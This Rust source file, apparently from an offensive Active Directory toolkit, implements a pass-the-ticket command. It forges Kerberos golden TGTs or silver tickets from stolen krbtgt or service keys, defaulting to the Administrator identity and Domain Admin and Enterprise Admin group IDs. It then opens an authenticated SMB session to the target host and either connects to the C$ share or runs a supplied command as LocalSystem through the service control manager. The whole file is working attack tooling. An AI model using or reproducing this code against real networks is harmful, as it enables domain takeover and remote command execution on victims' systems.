use anyhow::{Context, Result};
use clap::Parser;
#[derive(Parser)]
pub(crate) struct PthArgs {
#[arg(long)]
pub host: String,
#[arg(long)]
pub kdc: Option<String>,
#[arg(long)]
pub realm: String,
#[arg(long)]
pub domain_sid: String,
#[arg(long)]
pub krbtgt_aes256: Option<String>,
#[arg(long)]
pub service_aes256: Option<String>,
#[arg(long)]
pub rc4: bool,
#[arg(long)]
pub spn: Option<String>,
#[arg(long, default_value = "Administrator")]
pub user: String,
#[arg(long, default_value_t = 500)]
pub rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
pub groups: Vec<u32>,
#[arg(long)]
pub command: Option<String>,
}
fn looks_like_ip(s: &str) -> bool {
s.parse::<std::net::IpAddr>().is_ok()
}
pub(crate) async fn pth(a: PthArgs) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
use smb2_client::SmbClient;
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
let spn = a.spn.clone().unwrap_or_else(|| format!("cifs/{}", a.host));
if spn.split('/').nth(1).is_some_and(looks_like_ip) {
anyhow::bail!(
"SPN '{spn}' points at an IP — the KDC only knows SPNs registered against \
hostnames/FQDNs and will return KDC_ERR_S_PRINCIPAL_UNKNOWN (7). Pass \
`--host <fqdn>` (e.g. dc.corp.local) or `--spn cifs/<fqdn>` explicitly."
);
}
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
extra_sids: vec![],
};
let st = match (&a.krbtgt_aes256, &a.service_aes256) {
(Some(k), None) => {
let key = crate::parse_forge_key(k, a.rc4)?;
let kdc = a.kdc.clone().unwrap_or_else(|| a.host.clone());
let tgt = adhammer_kerberos::forge_golden_tgt(&id, &a.realm, &key, a.rc4)?;
println!("[+] forged golden TGT for {}@{}", a.user, a.realm);
let st = adhammer_kerberos::get_service_ticket(&tgt, &spn, &kdc).await?;
println!("[+] got service ticket for {spn} (KDC accepted the golden TGT)");
st
}
(None, Some(k)) => {
let key = crate::parse_forge_key(k, a.rc4)?;
let tgt = adhammer_kerberos::forge_silver_tgt(&id, &a.realm, &key, &spn, a.rc4)?;
println!("[+] forged silver ticket for {spn}");
adhammer_kerberos::silver_service_ticket(&tgt, &spn)
}
_ => anyhow::bail!(
"provide exactly one of --krbtgt-aes256 (golden) or --service-aes256 (silver)"
),
};
let (blob, key) = adhammer_kerberos::build_ap_req_gss(&st)?;
let mut smb = SmbClient::connect(&a.host).await?;
smb.login_kerberos(&blob, &key).await?;
println!(
"[+] Kerberos SMB session established as {} (pass-the-ticket)",
a.user
);
if let Some(cmd) = &a.command {
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let r = dcerpc::svcctl::exec(&mut smb, &a.host, cmd).await?;
println!(
"[+] ran as LocalSystem (service '{}', win32 {})",
r.service, r.start_win32
);
match r.output {
Some(o) if !o.is_empty() => println!("\n{o}"),
_ => println!("[*] no output captured"),
}
} else {
smb.tree_connect(&format!("\\\\{}\\C$", a.host)).await?;
println!(
"[+] tree-connected \\\\{}\\C$ — authenticated access confirmed",
a.host
);
}
Ok(())
}